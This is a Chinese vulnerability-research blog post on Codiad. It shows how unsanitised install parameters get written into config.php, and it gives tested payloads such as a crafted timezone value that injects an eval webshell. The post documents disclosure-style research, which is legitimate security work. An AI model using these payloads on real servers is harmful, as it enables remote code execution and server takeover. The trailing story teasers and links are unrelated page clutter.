Codiad 漏洞挖掘筆記 (0x02) [更新配置到 GetShell]


I wanna CVE...T_T

記得昨天晚上在搭建環(huán)境的時(shí)候注意到 config.php 這個(gè)文件

<?php

/*
*  Copyright (c) Codiad & Kent Safranski (codiad.com), distributed
*  as-is and without warranty under the MIT License. See
*  [root]/license.txt for more. This information must remain intact.
*/

//////////////////////////////////////////////////////////////////
// CONFIG
//////////////////////////////////////////////////////////////////

// PATH TO CODIAD
define("BASE_PATH", "/var/www/html/");

// BASE URL TO CODIAD (without trailing slash)
define("BASE_URL", "localhost/");

// THEME : default, modern or clear (look at /themes)
define("THEME", "default");

// ABSOLUTE PATH
define("WHITEPATHS", BASE_PATH . ",/home");

// SESSIONS (e.g. 7200)
$cookie_lifetime = "0";

// TIMEZONE
date_default_timezone_set("Australia/Perth");
...

鍵和值都是用雙引號(hào)包裹起來(lái)的
隱隱感覺(jué)可能會(huì)存在問(wèn)題
然后找一下用于執(zhí)行安裝功能的 php 文件
找到了 : ./components/install/process.php

<?php

/*
*  Copyright (c) Codiad & Kent Safranski (codiad.com), distributed
*  as-is and without warranty under the MIT License. See
*  [root]/license.txt for more. This information must remain intact.
*/

//////////////////////////////////////////////////////////////////////
// Paths
//////////////////////////////////////////////////////////////////////

    $path = $_POST['path'];

    $rel = str_replace('/components/install/process.php', '', $_SERVER['REQUEST_URI']);

    $workspace = $path . "/workspace";
    $users = $path . "/data/users.php";
    $projects = $path . "/data/projects.php";
    $active = $path . "/data/active.php";
    $config = $path . "/config.php";

//////////////////////////////////////////////////////////////////////
// Functions
//////////////////////////////////////////////////////////////////////

function saveFile($file, $data)
{
    $write = fopen($file, 'w') or die("can't open file");
    fwrite($write, $data);
    fclose($write);
}

function saveJSON($file, $data)
{
    $data = "<?php/*|\r\n" . json_encode($data) . "\r\n|*/?>";
    saveFile($file, $data);
}

function encryptPassword($p)
{
    return sha1(md5($p));
}

function cleanUsername($username)
{
    return preg_replace('#[^A-Za-z0-9'.preg_quote('-_@. ').']#', '', $username);
}

function isAbsPath($path)
{
    return $path[0] === '/';
}

function cleanPath($path)
{

    // prevent Poison Null Byte injections
    $path = str_replace(chr(0), '', $path);

    // prevent go out of the workspace
    while (strpos($path, '../') !== false) {
        $path = str_replace('../', '', $path);
    }

    return $path;
}

//////////////////////////////////////////////////////////////////////
// Verify no overwrites
//////////////////////////////////////////////////////////////////////

if (!file_exists($users) && !file_exists($projects) && !file_exists($active)) {
    //////////////////////////////////////////////////////////////////
    // Get POST responses
    //////////////////////////////////////////////////////////////////

    $username = cleanUsername($_POST['username']);
    $password = encryptPassword($_POST['password']);
    $project_name = $_POST['project_name'];
    if (isset($_POST['project_path'])) {
        $project_path = $_POST['project_path'];
    } else {
        $project_path = $project_name;
    }
    $timezone = $_POST['timezone'];

    //////////////////////////////////////////////////////////////////
    // Create Projects files
    //////////////////////////////////////////////////////////////////

    $project_path = cleanPath($project_path);

    if (!isAbsPath($project_path)) {
        $project_path = str_replace(" ", "_", preg_replace('/[^\w-\.]/', '', $project_path));
        mkdir($workspace . "/" . $project_path);
    } else {
        $project_path = cleanPath($project_path);
        if (substr($project_path, -1) == '/') {
            $project_path = substr($project_path, 0, strlen($project_path)-1);
        }
        if (!file_exists($project_path)) {
            if (!mkdir($project_path.'/', 0755, true)) {
                die("Unable to create Absolute Path");
            }
        } else {
            if (!is_writable($project_path) || !is_readable($project_path)) {
                die("No Read/Write Permission");
            }
        }
    }
    $project_data = array("name"=>$project_name,"path"=>$project_path);

    saveJSON($projects, array($project_data));

    //////////////////////////////////////////////////////////////////
    // Create Users file
    //////////////////////////////////////////////////////////////////

    $user_data = array("username"=>$username,"password"=>$password,"project"=>$project_path);

    saveJSON($users, array($user_data));

    //////////////////////////////////////////////////////////////////
    // Create Active file
    //////////////////////////////////////////////////////////////////

    saveJSON($active, array(''));
    
    //////////////////////////////////////////////////////////////////
    // Create Config
    //////////////////////////////////////////////////////////////////

// 直接使用字符串拼接的方式寫入配置文件 , 那么只要參數(shù)可控
// 并且我們可以繞過(guò)對(duì)參數(shù)的過(guò)濾 , 就可以直接寫 webshell 了
    $config_data = '<?php

/*
*  Copyright (c) Codiad & Kent Safranski (codiad.com), distributed
*  as-is and without warranty under the MIT License. See
*  [root]/license.txt for more. This information must remain intact.
*/

//////////////////////////////////////////////////////////////////
// CONFIG
//////////////////////////////////////////////////////////////////

// PATH TO CODIAD
define("BASE_PATH", "' . $path . '");

// BASE URL TO CODIAD (without trailing slash)
define("BASE_URL", "' . $_SERVER["HTTP_HOST"] . $rel . '");

// THEME : default, modern or clear (look at /themes)
define("THEME", "default");

// ABSOLUTE PATH
define("WHITEPATHS", BASE_PATH . ",/home");

// SESSIONS (e.g. 7200)
$cookie_lifetime = "0";

// TIMEZONE
date_default_timezone_set("' . $_POST['timezone'] . '");

// External Authentification
//define("AUTH_PATH", "/path/to/customauth.php");

//////////////////////////////////////////////////////////////////
// ** DO NOT EDIT CONFIG BELOW **
//////////////////////////////////////////////////////////////////

// PATHS
define("COMPONENTS", BASE_PATH . "/components");
define("PLUGINS", BASE_PATH . "/plugins");
define("THEMES", BASE_PATH . "/themes");
define("DATA", BASE_PATH . "/data");
define("WORKSPACE", BASE_PATH . "/workspace");

// URLS
define("WSURL", BASE_URL . "/workspace");

// Marketplace
//define("MARKETURL", "http://market.codiad.com/json");

// Update Check
//define("UPDATEURL", "http://update.codiad.com/?v={VER}&o={OS}&p={PHP}&w={WEB}&a={ACT}");
//define("ARCHIVEURL", "https://github.com/Codiad/Codiad/archive/master.zip");
//define("COMMITURL", "https://api.github.com/repos/Codiad/Codiad/commits");
';

    saveFile($config, $config_data);

    echo("success");
}
在配置文件的內(nèi)容中 , 可控的參數(shù)有 : 
$path
$_SERVER["HTTP_HOST"]
$rel
$_POST['timezone']
這四個(gè)參數(shù)中的任意一個(gè)點(diǎn)只要我們可以任意寫入數(shù)據(jù) , 那么就可以直接寫 webshell
下面來(lái)一個(gè)一個(gè)看看這些參數(shù)
$path

首先獲取參數(shù)


image.png

image.png

這里有一個(gè)很奇怪的點(diǎn) , 這里接受了 POST 的 path 參數(shù) , 不過(guò)在過(guò)濾的時(shí)候卻只過(guò)濾了 POST 的 project_name , 這個(gè) POST 的 path 似乎唯一用到的地方就是拼接成配置文件 , 然后寫入配置文件
那這里必然是可以 getshell 了

$_SERVER["HTTP_HOST"]

這個(gè)也就不用說(shuō) , 用戶可控 , 而且沒(méi)過(guò)濾 , 又一個(gè) getshell 的點(diǎn)

$rel
image.png

只對(duì) GET 的 URL 進(jìn)行了一個(gè)替換 , 我覺(jué)得我們可以直接使用 # 來(lái)作為 URL 中的錨點(diǎn)
然后就可以在錨點(diǎn)之后加入 payload , 然后應(yīng)該也是可以 getshell , 不過(guò)待測(cè)試

$_POST['timezone']

同 $_SERVER["HTTP_HOST"]


漏洞驗(yàn)證 :

這里首先驗(yàn)證最容易控制的參數(shù) , 例如 $_POST['timezone'];
代碼邏輯如下 : 
// TIMEZONE
date_default_timezone_set("' . $_POST['timezone'] . '");
將其簡(jiǎn)單插入到 date_default_timezone_set 這個(gè)函數(shù)調(diào)用中
那么我們需要構(gòu)造 $_POST['timezone'] 為 : 

Asia/Shanghai");eval("$_POST['c']

應(yīng)該就可以寫入一句話木馬了

下面進(jìn)行嘗試 :

image.png
image.png

然后我們來(lái)查看配置文件是否已經(jīng)被更新

image.png
image.png

雖然 shell 寫進(jìn)去了 , 但是似乎并不能執(zhí)行 ?
再研究研究

image.png
image.png

是單引號(hào)的鍋...
所以 payload 應(yīng)該是 :

$_POST['timezone'] 為 : 
Asia/Shanghai");eval("$_POST[c]
或者這樣
Asia/Shanghai");@eval($_POST[c]."

這樣的話 , 別的參數(shù)其實(shí)也就不用再試了 , 都是同樣的原理


繼續(xù)深入 :

這里我們只是在安裝的時(shí)候 getshell 了, 那這個(gè)漏洞其實(shí)還是比較雞肋的
因?yàn)槟悴豢赡茉谀繕?biāo)網(wǎng)站正常運(yùn)行的時(shí)候再去把人家的網(wǎng)站重新安裝一遍吧
接下來(lái)看看是否可以通過(guò)更新配置文件來(lái)達(dá)到和剛才相同的效果

接下來(lái)我們?cè)賮?lái)尋找更新配置文件的地方 , 為了快捷起見(jiàn) , 我們直接登錄 , 直接用 BurpSuite 抓更新配置文件的包
然后根據(jù)參數(shù)再來(lái)定位代碼位置
然后再進(jìn)行審計(jì)

審計(jì)中...
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末愿题,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,817評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件弦疮,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)昂拂,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,329評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)抛猖,“玉大人格侯,你說(shuō)我怎么就攤上這事〔浦” “怎么了联四?”我有些...
    開(kāi)封第一講書(shū)人閱讀 157,354評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)撑教。 經(jīng)常有香客問(wèn)我朝墩,道長(zhǎng),這世上最難降的妖魔是什么伟姐? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,498評(píng)論 1 284
  • 正文 為了忘掉前任收苏,我火速辦了婚禮亿卤,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘鹿霸。我一直安慰自己排吴,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,600評(píng)論 6 386
  • 文/花漫 我一把揭開(kāi)白布杜跷。 她就那樣靜靜地躺著傍念,像睡著了一般。 火紅的嫁衣襯著肌膚如雪葛闷。 梳的紋絲不亂的頭發(fā)上憋槐,一...
    開(kāi)封第一講書(shū)人閱讀 49,829評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音淑趾,去河邊找鬼阳仔。 笑死,一個(gè)胖子當(dāng)著我的面吹牛扣泊,可吹牛的內(nèi)容都是我干的近范。 我是一名探鬼主播,決...
    沈念sama閱讀 38,979評(píng)論 3 408
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼延蟹,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼评矩!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起阱飘,我...
    開(kāi)封第一講書(shū)人閱讀 37,722評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤斥杜,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后沥匈,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體蔗喂,經(jīng)...
    沈念sama閱讀 44,189評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,519評(píng)論 2 327
  • 正文 我和宋清朗相戀三年高帖,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了缰儿。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,654評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡散址,死狀恐怖乖阵,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情预麸,我是刑警寧澤义起,帶...
    沈念sama閱讀 34,329評(píng)論 4 330
  • 正文 年R本政府宣布,位于F島的核電站师崎,受9級(jí)特大地震影響默终,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,940評(píng)論 3 313
  • 文/蒙蒙 一齐蔽、第九天 我趴在偏房一處隱蔽的房頂上張望两疚。 院中可真熱鬧,春花似錦含滴、人聲如沸诱渤。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,762評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)勺美。三九已至,卻和暖如春碑韵,著一層夾襖步出監(jiān)牢的瞬間赡茸,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,993評(píng)論 1 266
  • 我被黑心中介騙來(lái)泰國(guó)打工祝闻, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留占卧,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,382評(píng)論 2 360
  • 正文 我出身青樓联喘,卻偏偏與公主長(zhǎng)得像华蜒,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子豁遭,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,543評(píng)論 2 349

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開(kāi)發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見(jiàn)模式的工具(例如配置管理叭喜,服務(wù)發(fā)現(xiàn),斷路器蓖谢,智...
    卡卡羅2017閱讀 134,633評(píng)論 18 139
  • sqlmap用戶手冊(cè) 說(shuō)明:本文為轉(zhuǎn)載域滥,對(duì)原文中一些明顯的拼寫錯(cuò)誤進(jìn)行修正,并標(biāo)注對(duì)自己有用的信息蜈抓。 ======...
    wind_飄閱讀 2,035評(píng)論 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,279評(píng)論 2 22
  • 下班后去健身,揮汗如雨外加腸胃空空回家到家沟使,我其實(shí)已經(jīng)很疲倦了,真想馬上鉆進(jìn)房間渊跋,來(lái)個(gè)“葛優(yōu)躺”腊嗡,祭一下我的五臟廟...
    莎莎ZAS閱讀 369評(píng)論 0 1
  • 【讀以致用】看游戲力2第一章 【讀】焦慮時(shí)刻存在我們的生活中客们,無(wú)論大人還是孩子,而且真正的童年并非只有快樂(lè),同樣底挫,...
    喜小喜閱讀 515評(píng)論 0 0